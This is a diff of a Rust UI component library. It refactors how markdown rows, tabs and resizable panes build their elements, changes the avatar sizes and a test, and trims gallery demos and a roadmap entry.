block_frame(indent, quote, px(0.), bottom, id, cx) if let Some(marker) = marker {
.map(|frame| match marker {
Some(marker) => {
let line_height = theme.sizes.small.text_size * BODY_LINE_HEIGHT; let line_height = theme.sizes.small.text_size * BODY_LINE_HEIGHT;
let marker_cell = div() let marker_cell = div()
.flex_none() .flex_none()
@@ -843,17 +842,18 @@ fn text_row(
ListMarker::Task(checked) => task_box(checked, cx), ListMarker::Task(checked) => task_box(checked, cx),
}); });
frame.child( frame = frame.child(
div() div()
.flex() .flex()
.items_start() .items_start()
.child(marker_cell) .child(marker_cell)
.child(div().flex_1().min_w_0().child(text_child(spans, id, cx))), .child(div().flex_1().min_w_0().child(text_child(spans, id, cx))),
) );
} else {
frame = frame.child(text_child(spans, id, cx));
} }
None => frame.child(text_child(spans, id, cx)),
}) frame.into_any_element()
.into_any_element()
} }
/// A read-only task item indicator, matching the checkbox component. /// A read-only task item indicator, matching the checkbox component.
@@ -896,7 +896,7 @@ fn code_row(
let text_size = theme.sizes.small.text_size; let text_size = theme.sizes.small.text_size;
let line_height = text_size * CODE_LINE_HEIGHT; let line_height = text_size * CODE_LINE_HEIGHT;
let plate = div() let mut plate = div()
.w_full() .w_full()
.flex() .flex()
.flex_col() .flex_col()
@@ -906,14 +906,17 @@ fn code_row(
.font_family(theme.mono_font) .font_family(theme.mono_font)
.text_size(text_size) .text_size(text_size)
.line_height(relative(CODE_LINE_HEIGHT)) .line_height(relative(CODE_LINE_HEIGHT))
.overflow_hidden() .overflow_hidden();
.children(lines.lines.iter().map(|line| {
for line in &lines.lines {
plate = plate.child(
div() div()
.h(line_height) .h(line_height)
.whitespace_nowrap() .whitespace_nowrap()
.overflow_hidden() .overflow_hidden()
.child(code_line(line, theme.colors, theme.ramps)) .child(code_line(line, theme.colors, theme.ramps)),
})); );
}
block_frame( block_frame(
indent, indent,
@@ -958,30 +961,29 @@ fn table_row(
.unwrap_or(0); .unwrap_or(0);
let row_count = table.rows.len(); let row_count = table.rows.len();
let grid = div() let mut grid = div()
.w_full() .w_full()
.flex() .flex()
.flex_col() .flex_col()
.border_1() .border_1()
.border_color(colors.border) .border_color(colors.border)
.rounded(theme.radius.control) .rounded(theme.radius.control)
.overflow_hidden() .overflow_hidden();
.children(table.rows.iter().enumerate().map(|(row_ix, row)| {
div() for (row_ix, row) in table.rows.iter().enumerate() {
.w_full() let mut row_element = div().w_full().flex();
.flex() if row_ix + 1 < row_count {
.when(row_ix + 1 < row_count, |row_element| { row_element = row_element.border_b_1().border_color(colors.border);
row_element.border_b_1().border_color(colors.border) }
}) if row.header {
.when(row.header, |row_element| row_element.bg(colors.muted)) row_element = row_element.bg(colors.muted);
.children( }
row.cells
.iter() for (column_ix, cell) in row.cells.iter().enumerate() {
.enumerate()
.map(|(column_ix, cell)| {
let cell_id = ElementId::from(SharedString::from(format!( let cell_id = ElementId::from(SharedString::from(format!(
"{id}-cell-{row_ix}-{column_ix}" "{id}-cell-{row_ix}-{column_ix}"
))); )));
row_element = row_element.child(
div() div()
.flex_1() .flex_1()
.min_w_0() .min_w_0()
@@ -990,15 +992,17 @@ fn table_row(
.when(row.header, |cell_element| { .when(row.header, |cell_element| {
cell_element.font_weight(FontWeight::SEMIBOLD) cell_element.font_weight(FontWeight::SEMIBOLD)
}) })
.child(text_child(&cell.spans, &cell_id, cx)) .child(text_child(&cell.spans, &cell_id, cx)),
}) );
}
// Ragged tables pad missing cells so rows align. // Ragged tables pad missing cells so rows align.
.chain( for _ in row.cells.len()..width {
(row.cells.len()..width) row_element = row_element.child(div().flex_1().min_w_0().px_2().py_1());
.map(|_| div().flex_1().min_w_0().px_2().py_1()), }
),
) grid = grid.child(row_element);
})); }
block_frame( block_frame(
indent, indent,
+6 -10
View File
@@ -1038,18 +1038,14 @@ fn render_pane(
.selected(selected) .selected(selected)
.tabs({ .tabs({
let tabs = pane.tabs.clone(); let tabs = pane.tabs.clone();
move |_, cx| { move |_, _| {
let theme = cx.theme();
let metrics = theme.sizes.resolve(Size::default());
tabs.iter() tabs.iter()
.map(|tab| { .map(|tab| {
Tab::new(tab.panel.clone(), tab.title.clone()) let mut entry = Tab::new(tab.panel.clone(), tab.title.clone());
.when_some(tab.icon.clone(), |entry, icon| { if let Some(icon) = tab.icon.clone() {
entry.lead(icon.size(metrics.icon_size)) entry = entry.icon(icon);
}) }
.closeable(true) entry.closeable(true).wrap({
.wrap({
let panel = tab.panel.clone(); let panel = tab.panel.clone();
let title = tab.title.clone(); let title = tab.title.clone();
move |tab| { move |tab| {
+31 -26
View File
@@ -220,36 +220,39 @@ impl RenderOnce for Resizable {
.map(|ix| state.read(cx).pane_size(ix, pane_count)) .map(|ix| state.read(cx).pane_size(ix, pane_count))
.collect(); .collect();
div() let mut group = div()
.flex() .flex()
.overflow_hidden() .overflow_hidden()
.when(axis == Axis::Vertical, |group| group.flex_col()) .when(axis == Axis::Vertical, |group| group.flex_col())
.when(axis == Axis::Horizontal, |group| group.flex_row()) .when(axis == Axis::Horizontal, |group| group.flex_row())
.refine_style(&self.style) .refine_style(&self.style);
.children(self.panes.into_iter().enumerate().flat_map(|(ix, pane)| {
for (ix, pane) in self.panes.into_iter().enumerate() {
let remainder = ix + 1 == pane_count; let remainder = ix + 1 == pane_count;
let pane_element = div() let content = pane.content;
.overflow_hidden() let mut pane_element = if remainder {
.when(remainder, |pane_element| { div()
pane_element
.flex_1() .flex_1()
.overflow_hidden()
.when(axis == Axis::Vertical, |p| p.min_h(pane.min)) .when(axis == Axis::Vertical, |p| p.min_h(pane.min))
.when(axis == Axis::Horizontal, |p| p.min_w(pane.min)) .when(axis == Axis::Horizontal, |p| p.min_w(pane.min))
}) } else {
.when(!remainder, |pane_element| { div()
pane_element
.flex_none() .flex_none()
.overflow_hidden()
.when(axis == Axis::Vertical, |p| p.h(sizes[ix]).w_full()) .when(axis == Axis::Vertical, |p| p.h(sizes[ix]).w_full())
.when(axis == Axis::Horizontal, |p| p.w(sizes[ix]).h_full()) .when(axis == Axis::Horizontal, |p| p.w(sizes[ix]).h_full())
}) };
.when_some(debug_selector.clone(), |pane_element, selector| {
let prefix = selector();
pane_element.debug_selector(move || format!("{prefix}-{ix}"))
})
.child(pane.content)
.into_any_element();
let divider = (!remainder).then(|| { if let Some(selector) = &debug_selector {
let prefix = selector();
pane_element = pane_element.debug_selector(move || format!("{prefix}-{ix}"));
}
group = group.child(pane_element.child(content));
if !remainder {
let divider =
ResizeHandle::new(SharedString::from(format!("{}-divider-{ix}", self.id))) ResizeHandle::new(SharedString::from(format!("{}-divider-{ix}", self.id)))
.axis(axis) .axis(axis)
.on_resize({ .on_resize({
@@ -265,14 +268,14 @@ impl RenderOnce for Resizable {
move |_, cx| { move |_, cx| {
state.update(cx, |state, cx| state.reset_pane(ix, mins.len(), cx)); state.update(cx, |state, cx| state.reset_pane(ix, mins.len(), cx));
} }
})
.into_any_element()
}); });
std::iter::once(pane_element).chain(divider) group = group.child(divider);
})) }
.when(pane_count > 0, |group| { }
group.child(
if pane_count > 0 {
group = group.child(
canvas( canvas(
{ {
let state = state.clone(); let state = state.clone();
@@ -288,7 +291,9 @@ impl RenderOnce for Resizable {
) )
.absolute() .absolute()
.inset_0(), .inset_0(),
) );
}) }
group
} }
} }
+3 -3
View File
@@ -424,7 +424,7 @@ impl SizeTable {
padding: 0.75, padding: 0.75,
text: 0.85, text: 0.85,
icon: 0.875, icon: 0.875,
avatar: 1.125, avatar: 1.5,
strip: 1.5, strip: 1.5,
inset: 0.125, inset: 0.125,
floor_icon: false, floor_icon: false,
@@ -435,7 +435,7 @@ impl SizeTable {
padding: 1.0, padding: 1.0,
text: 1.0, text: 1.0,
icon: 1.0, icon: 1.0,
avatar: 1.5, avatar: 2.0,
strip: 2.0, strip: 2.0,
inset: 0.25, inset: 0.25,
floor_icon: true, floor_icon: true,
@@ -446,7 +446,7 @@ impl SizeTable {
padding: 1.25, padding: 1.25,
text: 1.15, text: 1.15,
icon: 1.25, icon: 1.25,
avatar: 2.0, avatar: 3.0,
strip: 3.0, strip: 3.0,
inset: 0.375, inset: 0.375,
floor_icon: true, floor_icon: true,
+1 -3
View File
@@ -390,9 +390,7 @@ mod tests {
assert_eq!(resolved.sizes.medium.control_height, px(28.)); assert_eq!(resolved.sizes.medium.control_height, px(28.));
assert_eq!(resolved.sizes.medium.input_height, px(30.)); assert_eq!(resolved.sizes.medium.input_height, px(30.));
assert_eq!(resolved.sizes.medium.text_size, px(16.)); assert_eq!(resolved.sizes.medium.text_size, px(16.));
assert_eq!(resolved.sizes.small.avatar_size, px(18.)); assert_eq!(resolved.sizes.large.avatar_size, px(48.));
assert_eq!(resolved.sizes.medium.avatar_size, px(24.));
assert_eq!(resolved.sizes.large.avatar_size, px(32.));
assert_eq!(resolved.sizes.small.caption_size, px(13.6 * 0.85)); assert_eq!(resolved.sizes.small.caption_size, px(13.6 * 0.85));
assert_eq!(resolved.sizes.medium.caption_size, px(16.)); assert_eq!(resolved.sizes.medium.caption_size, px(16.));
assert_eq!(resolved.sizes.large.caption_size, px(16.)); assert_eq!(resolved.sizes.large.caption_size, px(16.));
-11
View File
@@ -9,17 +9,6 @@ is the first downstream consumer; its screens drive the order.
## Next ## Next
- [x] **Declarative render audit** — the AGENTS.md render rule swept the
landed components: `let mut` element variables reassigned under `if` /
`if let` now build one chained expression with `.when(...)` /
`.when_some(...)` / `.map(...)`. Converted: Tabs strip root and tab,
Menu / DropdownMenu / Popover / Combobox wrappers, ScrollArea pane and
scrollbars, Select rows, Dock tab entries, Resizable panes and dividers,
the Markdown text / code / table rows, and the Diff gutter cell.
`MenuItem` and `Tab` adopted `FluentBuilder` so their builders chain
too; data accumulators (`Vec`/`String` builders, style clones) stay
imperative — they are state, not element refinement.
## Queue — to follow ## Queue — to follow
Platform metric adoption continues one component at a time; each stop goes Platform metric adoption continues one component at a time; each stop goes
+6 -44
View File
@@ -509,7 +509,6 @@ impl Gallery {
SharedString::from("Blame"), SharedString::from("Blame"),
], ],
pill_selected: 0, pill_selected: 0,
lead_selected: 0,
}) })
.into() .into()
})); }));
@@ -2194,7 +2193,6 @@ struct TabsDemo {
selected: usize, selected: usize,
pill_tabs: Vec<SharedString>, pill_tabs: Vec<SharedString>,
pill_selected: usize, pill_selected: usize,
lead_selected: usize,
} }
impl Render for TabsDemo { impl Render for TabsDemo {
@@ -2202,7 +2200,6 @@ impl Render for TabsDemo {
let view = cx.entity(); let view = cx.entity();
let view_pill = view.clone(); let view_pill = view.clone();
let view_close = view.clone(); let view_close = view.clone();
let view_leads = view.clone();
let colors = cx.theme().colors; let colors = cx.theme().colors;
let pill_count = self.pill_tabs.len(); let pill_count = self.pill_tabs.len();
@@ -2284,31 +2281,7 @@ impl Render for TabsDemo {
.child(format!( .child(format!(
"{pill_count} tabs left; \"Syncing\" spins while it loads" "{pill_count} tabs left; \"Syncing\" spins while it loads"
)), )),
) ),
.child(demo_section(
"leads",
colors,
Tabs::new("tabs-demo-leads")
.variant(TabsVariant::Pill)
.selected(self.lead_selected)
.on_change(move |selected, _, cx| {
view_leads.update(cx, |demo, cx| {
demo.lead_selected = selected;
cx.notify();
});
})
.tabs(|_, cx| {
let theme = cx.theme();
let metrics = theme.sizes.resolve(Size::default());
vec![
Tab::new("files", "Files")
.lead(icon(IconRole::Folder).size(metrics.dense_icon_size)),
Tab::new("people", "People")
.lead(Avatar::new("ada").name("Ada Lovelace").small()),
Tab::new("plain", "Plain"),
]
}),
)),
) )
} }
} }
@@ -3739,27 +3712,16 @@ impl Render for SidebarDemo {
cx.notify(); cx.notify();
}); });
}) })
.entries(|_, cx| { .entries(|_, _| {
let theme = cx.theme();
let row_icon = || {
icon(IconRole::Folder).size(theme.sizes.medium.icon_size)
};
vec![ vec![
SidebarEntry::header("Favorites"), SidebarEntry::header("Favorites"),
SidebarEntry::row("Documents").prefix(row_icon()), SidebarEntry::row("Documents").icon(IconRole::Folder),
SidebarEntry::row("Pictures") SidebarEntry::row("Pictures")
.prefix(row_icon()) .icon(IconRole::Folder)
.detail("24") .detail("24"),
.suffix(
Badge::new("new").variant(BadgeVariant::Accent),
),
SidebarEntry::row("Archive").disabled(true), SidebarEntry::row("Archive").disabled(true),
SidebarEntry::header("Locations"), SidebarEntry::header("Locations"),
SidebarEntry::row("iCloud").prefix(row_icon()).suffix( SidebarEntry::row("iCloud").icon(IconRole::Folder),
StatusDot::new("sidebar-demo-icloud-status")
.small()
.variant(StatusDotVariant::Success),
),
SidebarEntry::row("Trash"), SidebarEntry::row("Trash"),
] ]
}), }),